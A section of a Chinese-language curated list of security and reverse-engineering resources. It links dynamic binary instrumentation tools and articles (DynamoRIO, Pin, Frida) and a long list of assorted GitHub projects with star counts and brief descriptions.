- 2018.07 [topsec_adlab] [动态二进制修改(Dynamic Binary Instrumentation)入门：Pin、DynamoRIO、Frida](http://blog.topsec.com.cn/2018/07/%e5%8a%a8%e6%80%81%e4%ba%8c%e8%bf%9b%e5%88%b6%e4%bf%ae%e6%94%b9dynamic-binary-instrumentation%e5%85%a5%e9%97%a8%ef%bc%9apin%e3%80%81dynamorio%e3%80%81frida/)
- 2017.11 [youtube_SECConsult] [The Art of Fuzzing - Demo 10: In-memory Fuzzing HashCalc using DynamoRio](https://www.youtube.com/watch?v=FEJGlgBeUJ8)
- 2017.11 [youtube_SECConsult] [The Art of Fuzzing - Demo 6: Extract Coverage Information using DynamoRio](https://www.youtube.com/watch?v=Ur_E9c2vX1A)
- 2016.11 [360_anquanke_learning] [“Selfie”：利用DynamoRIO实现自修改代码自动脱壳的神器](https://www.anquanke.com/post/id/84999/)
- 2016.09 [securitygossip] [Practical Memory Checking With Dr. Memory](http://securitygossip.com/blog/2016/09/12/2016-09-12/)
- 2016.09 [sjtu_gossip] [Practical Memory Checking With Dr. Memory](https://loccs.sjtu.edu.cn/gossip/blog/2016/09/12/2016-09-12/)
- 2016.08 [n0where] [Dynamic Instrumentation Tool Platform: DynamoRIO](https://n0where.net/dynamic-instrumentation-tool-platform-dynamorio)
- 2012.10 [redplait] [building dynamorio](http://redplait.blogspot.com/2012/10/building-dynamorio.html)
- 2011.06 [redplait] [dynamorio](http://redplait.blogspot.com/2011/06/dynamorio.html)
***
## <a id="7b8a493ca344f41887792fcc008573e7"></a>IntelPin
### <a id="fe5a6d7f16890542c9e60857706edfde"></a>工具
#### <a id="78a2edf9aa41eb321436cb150ea70a54"></a>新添加的
- [**298**星][1m] [C] [vusec/vuzzer](https://github.com/vusec/vuzzer) depends heavily on a modeified version of DataTracker, which in turn depends on LibDFT pintool.
#### <a id="e6a829abd8bbc5ad2e5885396e3eec04"></a>与其他工具交互
##### <a id="e129288dfadc2ab0890667109f93a76d"></a>未分类
- [**933**星][12m] [Py] [gaasedelen/lighthouse](https://github.com/gaasedelen/lighthouse) 从DBI中收集代码覆盖情况，在IDA/Binja中映射、浏览、查看
- 重复区段: [IDA->插件->调试->DBI数据](#0fbd352f703b507853c610a664f024d1) |[DBI->Frida->工具->与其他工具交互->IDA](#d628ec92c9eea0c4b016831e1f6852b3) |[DBI->Frida->工具->与其他工具交互->BinaryNinja](#f9008a00e2bbc7535c88602aa79c8fd8) |
- [coverage-frida](https://github.com/gaasedelen/lighthouse/blob/master/coverage/frida/README.md) 使用Frida收集信息
- [coverage-pin](https://github.com/gaasedelen/lighthouse/blob/master/coverage/pin/README.md) 使用Pin收集覆盖信息
- [插件](https://github.com/gaasedelen/lighthouse/blob/master/plugin/lighthouse_plugin.py) 支持IDA和BinNinja
### <a id="226190bea6ceb98ee5e2b939a6515fac"></a>文章&&视频
***
## <a id="f24f1235fd45a1aa8d280eff1f03af7e"></a>Frida
### <a id="a5336a0f9e8e55111bda45c8d74924c1"></a>工具
#### <a id="6d3c24e43835420063f9ca50ba805f15"></a>Frida
- [**4398**星][9d] [Makefile] [frida/frida](https://github.com/frida/frida) Clone this repo to build Frida
#### <a id="54836a155de0c15b56f43634cd9cfecf"></a>新添加的
- [**1150**星][24d] [JS] [alonemonkey/frida-ios-dump](https://github.com/alonemonkey/frida-ios-dump) pull decrypted ipa from jailbreak device
- [**632**星][9d] [Py] [igio90/dwarf](https://github.com/igio90/dwarf) Full featured multi arch/os debugger built on top of PyQt5 and frida
- [**546**星][19d] [JS] [nccgroup/house](https://github.com/nccgroup/house) 运行时手机 App 分析工具包, 带Web GUI
- [**478**星][12d] [JS] [iddoeldor/frida-snippets](https://github.com/iddoeldor/frida-snippets) Hand-crafted Frida examples
- [**416**星][3m] [C] [frida/frida-python](https://github.com/frida/frida-python) Frida Python bindings
- [**398**星][12m] [Py] [dstmath/frida-unpack](https://github.com/dstmath/frida-unpack) 基于Frida的脱壳工具
- [**316**星][16d] [C] [frida/frida-core](https://github.com/frida/frida-core) Frida core library intended for static linking into bindings
- [**298**星][29d] [JS] [chichou/bagbak](https://github.com/ChiChou/bagbak) Yet another frida based iOS dumpdecrypted
- [**293**星][3m] [JS] [smartdone/frida-scripts](https://github.com/smartdone/frida-scripts) 一些frida脚本
- [**278**星][8m] [Py] [nightbringer21/fridump](https://github.com/nightbringer21/fridump) A universal memory dumper using Frida
- [**250**星][1y] [Py] [igio90/frick](https://github.com/igio90/frick) aka the first debugger built on top of frida
- [**228**星][8d] [JS] [frenchyeti/dexcalibur](https://github.com/frenchyeti/dexcalibur) Dynamic binary instrumentation tool designed for Android application and powered by Frida. It disassembles dex, analyzes it statically, generates hooks, discovers reflected methods, stores intercepted data and does new things from it. Its aim is to be an all-in-one Android reverse engineering platform.
- [**227**星][14d] [C] [frida/frida-gum](https://github.com/frida/frida-gum) Low-level code instrumentation library used by frida-core
#### <a id="74fa0c52c6104fd5656c93c08fd1ba86"></a>与其他工具交互
##### <a id="00a86c65a84e58397ee54e85ed57feaf"></a>未分类
- [**570**星][1y] [Java] [federicodotta/brida](https://github.com/federicodotta/brida) The new bridge between Burp Suite and Frida!
##### <a id="d628ec92c9eea0c4b016831e1f6852b3"></a>IDA
- [**933**星][12m] [Py] [gaasedelen/lighthouse](https://github.com/gaasedelen/lighthouse) 从DBI中收集代码覆盖情况，在IDA/Binja中映射、浏览、查看
- 重复区段: [IDA->插件->调试->DBI数据](#0fbd352f703b507853c610a664f024d1) |[DBI->IntelPin->工具->与其他工具交互->未分类](#e129288dfadc2ab0890667109f93a76d) |[DBI->Frida->工具->与其他工具交互->BinaryNinja](#f9008a00e2bbc7535c88602aa79c8fd8) |
- [coverage-frida](https://github.com/gaasedelen/lighthouse/blob/master/coverage/frida/README.md) 使用Frida收集信息
- [coverage-pin](https://github.com/gaasedelen/lighthouse/blob/master/coverage/pin/README.md) 使用Pin收集覆盖信息
- [插件](https://github.com/gaasedelen/lighthouse/blob/master/plugin/lighthouse_plugin.py) 支持IDA和BinNinja
##### <a id="f9008a00e2bbc7535c88602aa79c8fd8"></a>BinaryNinja
- [**933**星][12m] [Py] [gaasedelen/lighthouse](https://github.com/gaasedelen/lighthouse) 从DBI中收集代码覆盖情况，在IDA/Binja中映射、浏览、查看
- 重复区段: [IDA->插件->调试->DBI数据](#0fbd352f703b507853c610a664f024d1) |[DBI->IntelPin->工具->与其他工具交互->未分类](#e129288dfadc2ab0890667109f93a76d) |[DBI->Frida->工具->与其他工具交互->IDA](#d628ec92c9eea0c4b016831e1f6852b3) |
- [coverage-frida](https://github.com/gaasedelen/lighthouse/blob/master/coverage/frida/README.md) 使用Frida收集信息
- [coverage-pin](https://github.com/gaasedelen/lighthouse/blob/master/coverage/pin/README.md) 使用Pin收集覆盖信息
- [插件](https://github.com/gaasedelen/lighthouse/blob/master/plugin/lighthouse_plugin.py) 支持IDA和BinNinja
##### <a id="ac053c4da818ca587d57711d2ff66278"></a>Radare2
- [**370**星][25d] [JS] [nowsecure/r2frida](https://github.com/nowsecure/r2frida) Radare2 and Frida better together.
- 重复区段: [Radare2->插件->与其他工具交互->未分类](#dfe53924d678f9225fc5ece9413b890f) |
### <a id="a1a7e3dd7091b47384c75dba8f279caf"></a>文章&&视频
- 2019.07 [hackertor] [Dwarf – Full Featured Multi Arch/Os Debugger Built On Top Of PyQt5 And Frida](https://hackertor.com/2019/07/13/dwarf-full-featured-multi-arch-os-debugger-built-on-top-of-pyqt5-and-frida/)
- 2019.05 [nsfocus_blog] [Frida应用基础及 APP https证书验证破解](http://blog.nsfocus.net/frida%e5%ba%94%e7%94%a8%e5%9f%ba%e7%a1%80%e5%8f%8a-app-https%e8%af%81%e4%b9%a6%e9%aa%8c%e8%af%81%e7%a0%b4%e8%a7%a3/)
- 2019.05 [nsfocus_blog] [Frida应用基础及 APP https证书验证破解](http://blog.nsfocus.net/frida-application-foundation-app-https-certificate-verification-cracking-2/)
- 2019.05 [nsfocus_blog] [Frida应用基础及APP https证书验证破解](http://blog.nsfocus.net/frida-application-foundation-app-https-certificate-verification-cracking/)
- 2019.05 [CodeColorist] [Trace child process with frida on macOS](https://medium.com/p/3b8f0f953f3d)
- 2019.05 [360_anquanke_learning] [FRIDA脚本系列（四）更新篇：几个主要机制的大更新](https://www.anquanke.com/post/id/177597/)
- 2019.03 [360_anquanke_learning] [FRIDA脚本系列（三）超神篇：百度AI“调教”抖音AI](https://www.anquanke.com/post/id/175621/)
- 2019.03 [securityinnovation_blog] [Setting up Frida Without Jailbreak on the Latest iOS 12.1.4 Device](https://blog.securityinnovation.com/frida)
- 2019.02 [nowsecure_blog] [Frida 12.3 Debuts New Crash Reporting Feature](https://www.nowsecure.com/blog/2019/02/07/frida-12-3-debuts-new-crash-reporting-feature/)
- 2019.01 [fuzzysecurity_tutorials] [Windows Hacking 之：ApplicationIntrospection & Hooking With Frida](http://fuzzysecurity.com/tutorials/29.html)
- 2019.01 [fuping] [安卓APP测试之HOOK大法-Frida篇](https://fuping.site/2019/01/25/Frida-Hook-SoulAPP/)
- 2019.01 [360_anquanke_learning] [FRIDA脚本系列（二）成长篇：动静态结合逆向WhatsApp](https://www.anquanke.com/post/id/169315/)
- 2019.01 [pediy_new_digest] [[原创]介召几个frida在安卓逆向中使用的脚本以及延时Hook手法](https://bbs.pediy.com/thread-248848.htm)
- 2018.12 [360_anquanke_learning] [FRIDA脚本系列（一）入门篇：在安卓8.1上dump蓝牙接口和实例](https://www.anquanke.com/post/id/168152/)
- 2018.12 [pediy_new_digest] [[原创]CVE-2017-4901 VMware虚拟机逃逸漏洞分析【Frida Windows实例】](https://bbs.pediy.com/thread-248384.htm)
- 2018.12 [freebuf] [一篇文章带你领悟Frida的精髓（基于安卓8.1）](https://www.freebuf.com/articles/system/190565.html)
- 2018.12 [pediy_new_digest] [[原创] Frida操作手册-Android环境准备](https://bbs.pediy.com/thread-248293.htm)
- 2018.11 [4hou] [使用FRIDA为Android应用进行脱壳的操作指南](http://www.4hou.com/technology/14404.html)
- 2018.11 [pediy_new_digest] [[原创]Frida Bypass Android SSL pinning example 1](https://bbs.pediy.com/thread-247967.htm)
- 2018.11 [freebuf] [Frida-Wshook：一款基于Frida.re的脚本分析工具](https://www.freebuf.com/sectool/188726.html)
***
## <a id="5a9974bfcf7cdf9b05fe7a7dc5272213"></a>其他
# <a id="d3690e0b19c784e104273fe4d64b2362"></a>工具-其他
***
## <a id="1d9dec1320a5d774dc8e0e7604edfcd3"></a>新添加的
- [**19651**星][2m] [Jupyter Notebook] [camdavidsonpilon/probabilistic-programming-and-bayesian-methods-for-hackers](https://github.com/camdavidsonpilon/probabilistic-programming-and-bayesian-methods-for-hackers) aka "Bayesian Methods for Hackers": An introduction to Bayesian methods + probabilistic programming with a computation/understanding-first, mathematics-second point of view. All in pure Python ;)
- [**13183**星][26d] [Py] [corentinj/real-time-voice-cloning](https://github.com/corentinj/real-time-voice-cloning) Clone a voice in 5 seconds to generate arbitrary speech in real-time
- [**11174**星][7d] [Java] [oracle/graal](https://github.com/oracle/graal) Run Programs Faster Anywhere
- [**11106**星][2m] [Jupyter Notebook] [selfteaching/the-craft-of-selfteaching](https://github.com/selfteaching/the-craft-of-selfteaching) One has no future if one couldn't teach themself.
- [**10107**星][8d] [Go] [goharbor/harbor](https://github.com/goharbor/harbor) An open source trusted cloud native registry project that stores, signs, and scans content.
- [**7685**星][7d] [Go] [git-lfs/git-lfs](https://github.com/git-lfs/git-lfs) Git extension for versioning large files
- [**6954**星][13d] [Go] [nats-io/nats-server](https://github.com/nats-io/nats-server) High-Performance server for NATS, the cloud native messaging system.
- [**6844**星][2m] [Go] [sqshq/sampler](https://github.com/sqshq/sampler) A tool for shell commands execution, visualization and alerting. Configured with a simple YAML file.
- [**6440**星][9m] [HTML] [open-power-workgroup/hospital](https://github.com/open-power-workgroup/hospital) OpenPower工作组收集汇总的医院开放数据
- [**6284**星][27d] [Py] [seatgeek/fuzzywuzzy](https://github.com/seatgeek/fuzzywuzzy) Fuzzy String Matching in Python
- [**5870**星][6m] [JS] [haotian-wang/google-access-helper](https://github.com/haotian-wang/google-access-helper) 谷歌访问助手破解版
- [**5845**星][2m] [Gnuplot] [nasa-jpl/open-source-rover](https://github.com/nasa-jpl/open-source-rover) A build-it-yourself, 6-wheel rover based on the rovers on Mars!
- [**5811**星][7m] [JS] [sindresorhus/fkill-cli](https://github.com/sindresorhus/fkill-cli) Fabulously kill processes. Cross-platform.
- [**5715**星][8m] [C] [xoreaxeaxeax/movfuscator](https://github.com/xoreaxeaxeax/movfuscator) C编译器，编译的二进制文件只有1个代码块。
- [**5674**星][22d] [JS] [swagger-api/swagger-editor](https://github.com/swagger-api/swagger-editor) Swagger Editor
- [**5653**星][16d] [Go] [casbin/casbin](https://github.com/casbin/casbin) An authorization library that supports access control models like ACL, RBAC, ABAC in Golang
- [**5317**星][7d] [Py] [mlflow/mlflow](https://github.com/mlflow/mlflow) Open source platform for the machine learning lifecycle
- [**5163**星][3m] [Py] [ytisf/thezoo](https://github.com/ytisf/thezoo) A repository of LIVE malwares for your own joy and pleasure. theZoo is a project created to make the possibility of malware analysis open and available to the public.
- [**4990**星][1m] [Py] [snare/voltron](https://github.com/snare/voltron) A hacky debugger UI for hackers
- [**4928**星][13d] [ASP] [hq450/fancyss](https://github.com/hq450/fancyss) fancyss is a project providing tools to across the GFW on asuswrt/merlin based router.
- [**4868**星][9d] [Shell] [denisidoro/navi](https://github.com/denisidoro/navi) An interactive cheatsheet tool for the command-line
- [**4838**星][10d] [Go] [gcla/termshark](https://github.com/gcla/termshark) A terminal UI for tshark, inspired by Wireshark
- [**4793**星][8m] [Py] [10se1ucgo/disablewintracking](https://github.com/10se1ucgo/disablewintracking) Uses some known methods that attempt to minimize tracking in Windows 10
- [**4710**星][8d] [C++] [paddlepaddle/paddle-lite](https://github.com/PaddlePaddle/Paddle-Lite) Multi-platform high performance deep learning inference engine (『飞桨』多平台高性能深度学习预测引擎）
- [**4630**星][6m] [powershell/win32-openssh](https://github.com/powershell/win32-openssh) Win32 port of OpenSSH
- [**4575**星][11m] [Py] [ecthros/uncaptcha2](https://github.com/ecthros/uncaptcha2) defeating the latest version of ReCaptcha with 91% accuracy
- [**4551**星][1y] [C] [upx/upx](https://github.com/upx/upx) UPX - the Ultimate Packer for eXecutables
- [**4549**星][8d] [C++] [mozilla/rr](https://github.com/mozilla/rr) 记录与重放App的调试执行过程
- [**4485**星][18d] [TypeScript] [apis-guru/graphql-voyager](https://github.com/apis-guru/graphql-voyager)
- [**4339**星][12m] [Py] [lennylxx/ipv6-hosts](https://github.com/lennylxx/ipv6-hosts) Fork of
- [**4256**星][11m] [JS] [butterproject/butter-desktop](https://github.com/butterproject/butter-desktop) All the free parts of Popcorn Time
- [**4243**星][9d] [Rust] [timvisee/ffsend](https://github.com/timvisee/ffsend) Easily and securely share files from the command line
- [**4039**星][1m] [JS] [sigalor/whatsapp-web-reveng](https://github.com/sigalor/whatsapp-web-reveng) WhatsApp Web API逆向与重新实现
- [**4023**星][2m] [Java] [jesusfreke/smali](https://github.com/jesusfreke/smali) smali/baksmali
- [**3936**星][13d] [Go] [dexidp/dex](https://github.com/dexidp/dex) OpenID Connect Identity (OIDC) and OAuth 2.0 Provider with Pluggable Connectors
- [**3916**星][7d] [Py] [angr/angr](https://github.com/angr/angr) A powerful and user-friendly binary analysis platform!
- [**3908**星][14d] [Rust] [svenstaro/genact](https://github.com/svenstaro/genact) a nonsense activity generator
- [**3907**星][1m] [C] [aquynh/capstone](https://github.com/aquynh/capstone) Capstone disassembly/disassembler framework: Core (Arm, Arm64, BPF, EVM, M68K, M680X, MOS65xx, Mips, PPC, RISCV, Sparc, SystemZ, TMS320C64x, Web Assembly, X86, X86_64, XCore) + bindings.
- [**3876**星][7d] [C++] [baldurk/renderdoc](https://github.com/baldurk/renderdoc) RenderDoc is a stand-alone graphics debugging tool.
- [**3841**星][8m] [Go] [eranyanay/1m-go-websockets](https://github.com/eranyanay/1m-go-websockets) handling 1M websockets connections in Go
- [**3832**星][2m] [Objective-C] [sveinbjornt/sloth](https://github.com/sveinbjornt/sloth) Mac app that shows all open files, directories and sockets in use by all running processes. Nice GUI for lsof.
- [**3749**星][2m] [Go] [microsoft/ethr](https://github.com/microsoft/ethr) Ethr is a Network Performance Measurement Tool for TCP, UDP & HTTP.
- [**3731**星][13d] [Go] [hashicorp/consul-template](https://github.com/hashicorp/consul-template) Template rendering, notifier, and supervisor for
- [**3681**星][11d] [jjqqkk/chromium](https://github.com/jjqqkk/chromium) Chromium browser with SSL VPN. Use this browser to unblock websites.
- [**3675**星][8d] [HTML] [hamukazu/lets-get-arrested](https://github.com/hamukazu/lets-get-arrested) This project is intended to protest against the police in Japan
- [**3647**星][8d] [JS] [lesspass/lesspass](https://github.com/lesspass/lesspass)
- [**3612**星][17d] [HTML] [consensys/smart-contract-best-practices](https://github.com/consensys/smart-contract-best-practices) A guide to smart contract security best practices
- [**3538**星][4m] [Shell] [chengr28/revokechinacerts](https://github.com/chengr28/revokechinacerts) Revoke Chinese certificates.
- [**3525**星][8d] [Pascal] [cheat-engine/cheat-engine](https://github.com/cheat-engine/cheat-engine) Cheat Engine. A development environment focused on modding
- [**3464**星][15d] [C] [cyan4973/xxhash](https://github.com/cyan4973/xxhash) Extremely fast non-cryptographic hash algorithm
- [**3269**星][27d] [C] [microsoft/windows-driver-samples](https://github.com/microsoft/windows-driver-samples) This repo contains driver samples prepared for use with Microsoft Visual Studio and the Windows Driver Kit (WDK). It contains both Universal Windows Driver and desktop-only driver samples.
- [**3266**星][12d] [C] [virustotal/yara](https://github.com/virustotal/yara) The pattern matching swiss knife
- [**3255**星][7d] [C] [mikebrady/shairport-sync](https://github.com/mikebrady/shairport-sync) AirPlay audio player. Shairport Sync adds multi-room capability with Audio Synchronisation
- [**3234**星][8d] [Java] [oldmanpushcart/greys-anatomy](https://github.com/oldmanpushcart/greys-anatomy) Java诊断工具
- [**3215**星][27d] [JS] [koenkk/zigbee2mqtt](https://github.com/koenkk/zigbee2mqtt) Zigbee
- [**3210**星][1m] [TypeScript] [google/incremental-dom](https://github.com/google/incremental-dom) An in-place DOM diffing library
- [**3210**星][11d] [C] [tmate-io/tmate](https://github.com/tmate-io/tmate) Instant Terminal Sharing
- [**3205**星][2m] [Shell] [gfw-breaker/ssr-accounts](https://github.com/gfw-breaker/ssr-accounts) 一键部署Shadowsocks服务；免费Shadowsocks账号分享；免费SS账号分享; 翻墙；无界，自由门，SquirrelVPN
- [**3145**星][1y] [Shell] [toyodadoubi/doubi](https://github.com/toyodadoubi/doubi) 一个逗比写的各种逗比脚本~
- [**3120**星][10d] [C] [meetecho/janus-gateway](https://github.com/meetecho/janus-gateway) Janus WebRTC Server
- [**3113**星][28d] [CSS] [readthedocs/sphinx_rtd_theme](https://github.com/readthedocs/sphinx_rtd_theme) Sphinx theme for readthedocs.org
- [**3106**星][7d] [C] [qemu/qemu](https://github.com/qemu/qemu) Official QEMU mirror. Please see
- [**3065**星][9d] [Go] [tencent/bk-cmdb](https://github.com/tencent/bk-cmdb) 蓝鲸智云配置平台(BlueKing CMDB)
- [**3062**星][1y] [Swift] [zhuhaow/spechtlite](https://github.com/zhuhaow/spechtlite) A rule-based proxy for macOS
- [**3061**星][20d] [C] [unicorn-engine/unicorn](https://github.com/unicorn-engine/unicorn) Unicorn CPU emulator framework (ARM, AArch64, M68K, Mips, Sparc, X86)
- [**3046**星][4m] [C++] [google/robotstxt](https://github.com/google/robotstxt) The repository contains Google's robots.txt parser and matcher as a C++ library (compliant to C++11).
- [**2991**星][1y] [PHP] [owner888/phpspider](https://github.com/owner888/phpspider) 《我用爬虫一天时间“偷了”知乎一百万用户，只为证明PHP是世界上最好的语言 》所使用的程序
- [**2962**星][14d] [Objective-C] [google/santa](https://github.com/google/santa) 用于Mac系统的二进制文件白名单/黑名单系统
- [**2962**星][8d] [Py] [quantaxis/quantaxis](https://github.com/quantaxis/quantaxis) 支持任务调度 分布式部署的 股票/期货/自定义市场 数据/回测/模拟/交易/可视化 纯本地PAAS量化解决方案
- [**2895**星][10d] [C] [libfuse/sshfs](https://github.com/libfuse/sshfs) A network filesystem client to connect to SSH servers
- [**2876**星][7m] [C] [p-h-c/phc-winner-argon2](https://github.com/p-h-c/phc-winner-argon2) The password hash Argon2, winner of PHC
- [**2850**星][8d] [C] [lxc/lxc](https://github.com/lxc/lxc) LXC - Linux Containers
- [**2840**星][5m] [Py] [instantbox/instantbox](https://github.com/instantbox/instantbox) Get a clean, ready-to-go Linux box in seconds.
- [**2825**星][15d] [Py] [espressif/esptool](https://github.com/espressif/esptool) ESP8266 and ESP32 serial bootloader utility
- [**2820**星][1m] [Assembly] [cirosantilli/x86-bare-metal-examples](https://github.com/cirosantilli/x86-bare-metal-examples) 几十个用于学习 x86 系统编程的小型操作系统
- [**2802**星][9m] [Py] [plasma-disassembler/plasma](https://github.com/plasma-disassembler/plasma) Plasma is an interactive disassembler for x86/ARM/MIPS. It can generates indented pseudo-code with colored syntax.
- [**2763**星][1m] [JS] [trufflesuite/ganache-cli](https://github.com/trufflesuite/ganache-cli) Fast Ethereum RPC client for testing and development
- [**2755**星][7d] [C++] [qtox/qtox](https://github.com/qtox/qtox) qTox is a chat, voice, video, and file transfer IM client using the encrypted peer-to-peer Tox protocol.
- [**2746**星][8d] [C] [processhacker/processhacker](https://github.com/processhacker/processhacker) A free, powerful, multi-purpose tool that helps you monitor system resources, debug software and detect malware.
- [**2735**星][7d] [TypeScript] [webhintio/hint](https://github.com/webhintio/hint)
- [**2648**星][3m] [Py] [drivendata/cookiecutter-data-science](https://github.com/drivendata/cookiecutter-data-science) A logical, reasonably standardized, but flexible project structure for doing and sharing data science work.
- [**2619**星][8m] [leandromoreira/linux-network-performance-parameters](https://github.com/leandromoreira/linux-network-performance-parameters) Learn where some of the network sysctl variables fit into the Linux/Kernel network flow
- [**2610**星][2m] [Swift] [zhuhaow/nekit](https://github.com/zhuhaow/nekit) A toolkit for Network Extension Framework
- [**2600**星][21d] [JS] [knownsec/kcon](https://github.com/knownsec/kcon) KCon is a famous Hacker Con powered by Knownsec Team.
- [**2598**星][8d] [JS] [popcorn-official/popcorn-desktop](https://github.com/popcorn-official/popcorn-desktop) Popcorn Time is a multi-platform, free software BitTorrent client that includes an integrated media player. Desktop ( Windows / Mac / Linux ) a Butter-Project Fork
- [**2588**星][1m] [pditommaso/awesome-pipeline](https://github.com/pditommaso/awesome-pipeline) A curated list of awesome pipeline toolkits inspired by Awesome Sysadmin
- [**2555**星][1m] [C] [esnet/iperf](https://github.com/esnet/iperf) A TCP, UDP, and SCTP network bandwidth measurement tool
- [**2495**星][2m] [Java] [jboss-javassist/javassist](https://github.com/jboss-javassist/javassist) Java bytecode engineering toolkit
- [**2480**星][8d] [Go] [adguardteam/adguardhome](https://github.com/adguardteam/adguardhome) Network-wide ads & trackers blocking DNS server
- [**2472**星][11m] [JS] [weixin/miaow](https://github.com/weixin/Miaow) A set of plugins for Sketch include drawing links & marks, UI Kit & Color sync, font & text replacing.
- [**2463**星][13d] [JS] [vitaly-t/pg-promise](https://github.com/vitaly-t/pg-promise) PostgreSQL interface for Node.js
- [**2366**星][7d] [Java] [mock-server/mockserver](https://github.com/mock-server/mockserver) MockServer enables easy mocking of any system you integrate with via HTTP or HTTPS with clients written in Java, JavaScript and Ruby. MockServer also includes a proxy that introspects all proxied traffic including encrypted SSL traffic and supports Port Forwarding, Web Proxying (i.e. HTTP proxy), HTTPS Tunneling Proxying (using HTTP CONNECT) and…
- [**2351**星][8d] [C] [domoticz/domoticz](https://github.com/domoticz/domoticz) monitor and configure various devices like: Lights, Switches, various sensors/meters like Temperature, Rain, Wind, UV, Electra, Gas, Water and much more
- [**2342**星][3m] [Go] [vuvuzela/vuvuzela](https://github.com/vuvuzela/vuvuzela) Private messaging system that hides metadata
- [**2330**星][1m] [JS] [pa11y/pa11y](https://github.com/pa11y/pa11y) Pa11y is your automated accessibility testing pal
- [**2317**星][10d] [C] [tsl0922/ttyd](https://github.com/tsl0922/ttyd) Share your terminal over the web
- [**2272**星][1m] [C] [moby/hyperkit](https://github.com/moby/hyperkit) A toolkit for embedding hypervisor capabilities in your application
- [**2271**星][22d] [JS] [talkingdata/inmap](https://github.com/talkingdata/inmap) 大数据地理可视化
- [**2246**星][16d] [dumb-password-rules/dumb-password-rules](https://github.com/dumb-password-rules/dumb-password-rules) Shaming sites with dumb password rules.
- [**2201**星][11d] [Go] [google/mtail](https://github.com/google/mtail) extract whitebox monitoring data from application logs for collection in a timeseries database
- [**2187**星][21d] [C++] [google/bloaty](https://github.com/google/bloaty) Bloaty McBloatface: a size profiler for binaries
- [**2171**星][14d] [C] [armmbed/mbedtls](https://github.com/armmbed/mbedtls) An open source, portable, easy to use, readable and flexible SSL library
- [**2168**星][16d] [getlantern/lantern-binaries](https://github.com/getlantern/lantern-binaries) Lantern installers binary downloads.
- [**2123**星][16d] [Assembly] [pret/pokered](https://github.com/pret/pokered) disassembly of Pokémon Red/Blue
- [**2105**星][7d] [goq/telegram-list](https://github.com/goq/telegram-list) List of telegram groups, channels & bots // Список интересных групп, каналов и ботов телеграма // Список чатов для программистов
- [**2081**星][8d] [C] [flatpak/flatpak](https://github.com/flatpak/flatpak) Linux application sandboxing and distribution framework
- [**2071**星][30d] [Go] [theupdateframework/notary](https://github.com/theupdateframework/notary) Notary is a project that allows anyone to have trust over arbitrary collections of data
- [**2047**星][6m] [Go] [maxmcd/webtty](https://github.com/maxmcd/webtty) Share a terminal session over WebRTC
- [**2032**星][7d] [C++] [openthread/openthread](https://github.com/openthread/openthread) OpenThread released by Google is an open-source implementation of the Thread networking protocol
- [**2006**星][9m] [C] [dekunukem/nintendo_switch_reverse_engineering](https://github.com/dekunukem/nintendo_switch_reverse_engineering) A look at inner workings of Joycon and Nintendo Switch
- [**1992**星][25d] [Swift] [github/softu2f](https://github.com/github/softu2f) Software U2F authenticator for macOS
- [**1990**星][4m] [swiftonsecurity/sysmon-config](https://github.com/swiftonsecurity/sysmon-config) Sysmon configuration file template with default high-quality event tracing
- [**1983**星][2m] [C++] [asmjit/asmjit](https://github.com/asmjit/asmjit) Complete x86/x64 JIT and AOT Assembler for C++
- [**1958**星][26d] [C#] [mathewsachin/captura](https://github.com/mathewsachin/captura) Capture Screen, Audio, Cursor, Mouse Clicks and Keystrokes
- [**1939**星][2m] [C] [microsoft/procdump-for-linux](https://github.com/microsoft/procdump-for-linux) Linux 版本的 ProcDump
- [**1902**星][7d] [Go] [solo-io/gloo](https://github.com/solo-io/gloo) An Envoy-Powered API Gateway
- [**1901**星][3m] [Go] [minishift/minishift](https://github.com/minishift/minishift) Run OpenShift 3.x locally
- [**1880**星][14d] [C++] [mhammond/pywin32](https://github.com/mhammond/pywin32) Python for Windows (pywin32) Extensions
- [**1861**星][4m] [Java] [adoptopenjdk/jitwatch](https://github.com/adoptopenjdk/jitwatch) Log analyser / visualiser for Java HotSpot JIT compiler. Inspect inlining decisions, hot methods, bytecode, and assembly. View results in the JavaFX user interface.
- [**1849**星][11m] [C++] [googlecreativelab/open-nsynth-super](https://github.com/googlecreativelab/open-nsynth-super) Open NSynth Super is an experimental physical interface for the NSynth algorithm
- [**1848**星][29d] [C] [github/glb-director](https://github.com/github/glb-director) GitHub Load Balancer Director and supporting tooling.
- [**1846**星][8m] [Py] [netflix-skunkworks/stethoscope](https://github.com/Netflix-Skunkworks/stethoscope) Personalized, user-focused recommendations for employee information security.
- [**1841**星][2m] [C] [retroplasma/earth-reverse-engineering](https://github.com/retroplasma/earth-reverse-engineering) Reversing Google's 3D satellite mode
- [**1841**星][13d] [C++] [acidanthera/lilu](https://github.com/acidanthera/Lilu) Arbitrary kext and process patching on macOS
- [**1835**星][1y] [Java] [yeriomin/yalpstore](https://github.com/yeriomin/yalpstore) Download apks from Google Play Store
- [**1830**星][7d] [C++] [pytorch/glow](https://github.com/pytorch/glow) Compiler for Neural Network hardware accelerators
- [**1829**星][1y] [Py] [jinnlynn/genpac](https://github.com/jinnlynn/genpac) PAC/Dnsmasq/Wingy file Generator, working with gfwlist, support custom rules.
- [**1827**星][2m] [Go] [influxdata/kapacitor](https://github.com/influxdata/kapacitor) Open source framework for processing, monitoring, and alerting on time series data
- [**1819**星][13d] [Py] [trailofbits/manticore](https://github.com/trailofbits/manticore) 动态二进制分析工具，支持符号执行（symbolic execution）、污点分析（taint analysis）、运行时修改。
- [**1788**星][28d] [Go] [gdamore/tcell](https://github.com/gdamore/tcell) Tcell is an alternate terminal package, similar in some ways to termbox, but better in others.
- [**1777**星][18d] [PHP] [ezyang/htmlpurifier](https://github.com/ezyang/htmlpurifier) Standards compliant HTML filter written in PHP
- [**1776**星][13d] [C++] [apitrace/apitrace](https://github.com/apitrace/apitrace) Tools for tracing OpenGL, Direct3D, and other graphics APIs
- [**1759**星][12d] [C] [google/wuffs](https://github.com/google/wuffs) Wrangling Untrusted File Formats Safely
- [**1747**星][8d] [17mon/china_ip_list](https://github.com/17mon/china_ip_list)
- [**1743**星][12m] [JS] [puppeteer/examples](https://github.com/puppeteer/examples) Use case-driven examples for using Puppeteer and headless chrome
- [**1740**星][8d] [PHP] [wordpress/wordpress-coding-standards](https://github.com/wordpress/wordpress-coding-standards) PHP_CodeSniffer rules (sniffs) to enforce WordPress coding conventions
- [**1694**星][14d] [Go] [hashicorp/memberlist](https://github.com/hashicorp/memberlist) Golang package for gossip based membership and failure detection
- [**1693**星][3m] [Py] [anorov/cloudflare-scrape](https://github.com/anorov/cloudflare-scrape) A Python module to bypass Cloudflare's anti-bot page.
